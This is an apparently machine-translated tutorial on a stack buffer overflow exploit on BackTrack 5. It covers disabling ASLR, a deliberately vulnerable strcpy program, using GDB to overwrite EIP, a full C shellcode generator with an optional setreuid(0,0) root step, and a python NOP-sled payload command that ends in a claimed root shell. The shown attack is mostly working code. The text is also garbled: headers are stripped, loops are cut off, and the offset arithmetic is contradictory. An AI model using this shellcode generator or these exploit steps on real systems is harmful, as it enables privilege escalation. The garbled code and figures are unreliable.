Exploit back-track 5

in this article I will try to exploitation to back-track 5. The first thing to do is turn off "LINUK ASLR".

  to check the value ASLR you can perform the command "cat /proc/sys/kernel/randomize_va_space" Here we can see that the SLR is still alive.


  Now we try to turn off ASLR. with the command "echo 0 > /proc/sys/kernel/randomize_va_space"
Now we try mengulai command to see the value of ASLR

on all linux based operating systems are not the same. I will try to give you the solution that fails to turn off ASLR:

• echo 0> / proc / sys / kernel / exec-shield # turn it off .. | echo 1> / proc / sys / kernel / exec-shield # turn it on
• echo 0> / proc / sys / kernel / randomize_va_space # turn it off .. | echo 1> / proc / sys / kernel / randomize_va_space # turn it on
• sudo bash -c "echo 0 > /path/to/file" # turn it off ..| sudo bash -c "echo 0 > /path/to/file" # turn it on

after we managed to turn off ASLR, then we are compiling the application.
create a fuzzer as below. and save it with '.c'

fuzz_Vulnerable:

#include

#include

int main(int argc, char** argv)

{

char buffer[500];

strcpy(buffer, argv[1]); // Vulnerable function!

return 0;

}

next, after saving. then we will trigger a buffer overflow. follow the instructions below.

 I try to explain a little
the use of GCC to program (C + +). for more complete explanation you can see in the console and type man gcc.

GDB, the GNU Project debugger, allows you to see what is going on `inside' another program while it executes -- or what another program was doing at the moment it crashed.
GDB can do four main kinds of things (plus other things in support of these) to help you catch bugs in the act:

• Start your program, specifying anything that might affect its behavior.
• Make your program stop on specified conditions.
• Examine what has happened, when your program has stopped.
• Change things in your program, so you can experiment with correcting the effects of one bug and go on to learn about another.

The program being debugged can be written in Ada, C, C++, Objective-C, Pascal (and many other languages). Those programs might be executing on the same machine as GDB (native) or on another machine (remote). GDB can run on most popular UNIX and Microsoft Windows variants.

okey., it is a bit of knowledge., that here the author is still in the learning stage.
then type the command as below :

 Now we have a vulnerable program.
then we open the GDB to find the necessary offset to override

 then repeat again. running python

yaap., the program received., proceed again as below

Now we have successfully overwrite the register EIP 

ya., using the info registers we can see all the registers in the "x / FTM ADDRESS"
the register ESP contains the buffer we are evil.
and the registers EBP and EIP was overwritten / x41

we can find out the address of the ESP before the strcpy function.
with our finance last 200 bytes can be pushed on the stack.

thing we need to know how we will work around the 200 byte shellcode and then we overwrite the EIP with the address of ESP address ..


 now let’s try to find out the ESP address and subtract 200 bytes from it. 

Next we use the gdb command list, then do the break point
let's try to repeat the command above 'just to be sure'

okey., subtract 200 bytes of the ESP: 0xbffff14c-200 = 0xbffff14c.now we know we need to overwrite EIP 508 byteyaap., now we try to arrange exploitation.we have a total of 508 bytes to overwrite EIP:323 garbage bytes shellcode + 45 bytes = 368 bytes508 bytes - 368 bytes = 140 bytesso we have room for 140 bytes shellcode.
 then we divide 140 by 4 "in accordance with memory addresses (\x41\ x41\x41\ x41)" and the result is 35.

Now we enter the final stage
who wants to generate payload you can get below (save it with '. c')
 

generate payload:

#include #include #include #include #include #define SETRUID 0 //set this to 1 if you want the shellcode to do setreuid(0,0) before the shell command

void print_c(__u8*,int);

void push_shc(__u8*, char*, int*);

int main(int argc, char *argv[]){

char cmd[255], *a;

FILE *c;

int k=0, totl=(SETRUID ? 32:22), b,b1, i, tmp=0, shp=2;

__u8 *shc,start[2]={0x31,0xc0}, end[16]={0xb0,0x0b,0x89,0xf3,0x89,0xe1,0x31,0xd2,0xcd,0x80,0xb0,0x01,0x31,0xdb,0xcd,0x80}, struid[10]={0xb0,0x46,0x31,0xdb,0x31,0xc9,0xcd,0x80,0x31,0xc0}; if(argc<2){

printf(" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n" "| Shellcode Generator |\n" "| by certaindeath |\n" "| |\n" "| Usage: ./generator |\n" " ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n");

_exit(1); }

a=(char *)malloc((9+strlen(argv[1]))*sizeof(char));

//find the command path

a[0]=0;

strcat(a, "whereis ");

strcat(a, argv[1]);

c=popen(a, "r");

while(((cmd[0]=fgetc(c))!=' ')&&(!feof(c)));

while(((cmd[k++]=fgetc(c))!=' ')&&(!feof(c)));

cmd[--k]=0;

if(k==0){ printf("No executables found for the command \"%s\".\n", argv[1]);

_exit(1); }

if(strlen(cmd)>254){ printf("The lenght of the command path can't be over 254 bye.\n");

_exit(1); }

for(i=2;i

if(strlen(argv[i])>254){ printf("The lenght of each command argument can't be over 254 byte.\n");

_exit(1); }

//work out the final shellcode lenght

b=(k%2);

b1=(b==1) ? (((k-1)/2)%2) : ((k/2)%2);

totl+=(6+5*((k-(k%4))/4)+4*b1+7*b);

for(i=2; i

k=strlen(argv[i]);

b=(k%2);

b1=(b==1) ? (((k-1)/2)%2) : ((k/2)%2);

totl+=(6+5*((k-(k%4))/4)+4*b1+7*b);

}

totl+=4*(argc-2);

printf("Shellcode lenght: %i\n", totl);

//build the shellcode

shc=(__u8 *)malloc((totl+1)*sizeof(__u8));

memcpy(shc, start, 2);

if(SETRUID){

memcpy(shc+shp, struid, 10);

shp+=10;

}

if(argc>2)

push_shc(shc, argv[argc-1], &shp);

else

push_shc(shc, cmd, &shp);

memset(shc+(shp++), 0x89, 1);

memset(shc+(shp++), 0xe6, 1);

if(argc>2){

for(i=argc-2;i>1;i--)

push_shc(shc, argv[i], &shp);

push_shc(shc, cmd, &shp);

}

memset(shc+(shp++), 0x50, 1);

memset(shc+(shp++), 0x56, 1);

if(argc>2){

for(i=argc-2;i>1;i--){

memset(shc+(shp++), 0x83, 1);

memset(shc+(shp++), 0xee, 1);

memset(shc+(shp++), strlen(argv[i])+1, 1);

memset(shc+(shp++), 0x56, 1);

}

memset(shc+(shp++), 0x83, 1);

memset(shc+(shp++), 0xee, 1);

memset(shc+(shp++), strlen(cmd)+1, 1);

memset(shc+(shp++), 0x56, 1);

}

memcpy(shc+shp, end, 16);

print_c(shc,totl);

return 0;

}

void print_c(__u8 *s,int l){

int k;

for(k=0;k

printf("\\x%.2x", s[k]);

if(((k+1)%8)==0) printf("\n");

}

printf("\n");

}

void push_shc(__u8 *out, char *str, int *sp){

int i=strlen(str), k, b, b1, tmp=i;

__u8 pushb_0[6]={0x83,0xec,0x01,0x88,0x04,0x24},pushb[6]={0x83,0xec,0x01,0xc6,0x04,0x24};

memcpy(out+(*sp), pushb_0, 6);

*sp+=6;

for(k=0;k<((i-(i%4))/4);k++){

memset(out+((*sp)++), 0x68, 1);

tmp-=4;

memcpy(out+(*sp), str+tmp, 4);

*sp+=4;

}

b=(i%2);

b1=(b==1) ? (((i-1)/2)%2) : ((i/2)%2);

if(b1){

memset(out+((*sp)++), 0x66, 1);

memset(out+((*sp)++), 0x68, 1);

tmp-=2;

memcpy(out+(*sp), str+tmp, 2);

*sp+=2;

}

if(b){

memcpy(out+(*sp), pushb, 6);

*sp+=6;

memcpy(out+((*sp)++), str+(--tmp), 1);

}

}

I keep up with the name 'payload.c'
Now we try to run it

run the following command: $ (python-c 'print "\ X90" * 323 + "Your_payload" + "\ x6c \ xf0 \ xFF \ xbf '* 35')

consequently exploit success., and we have entered in the root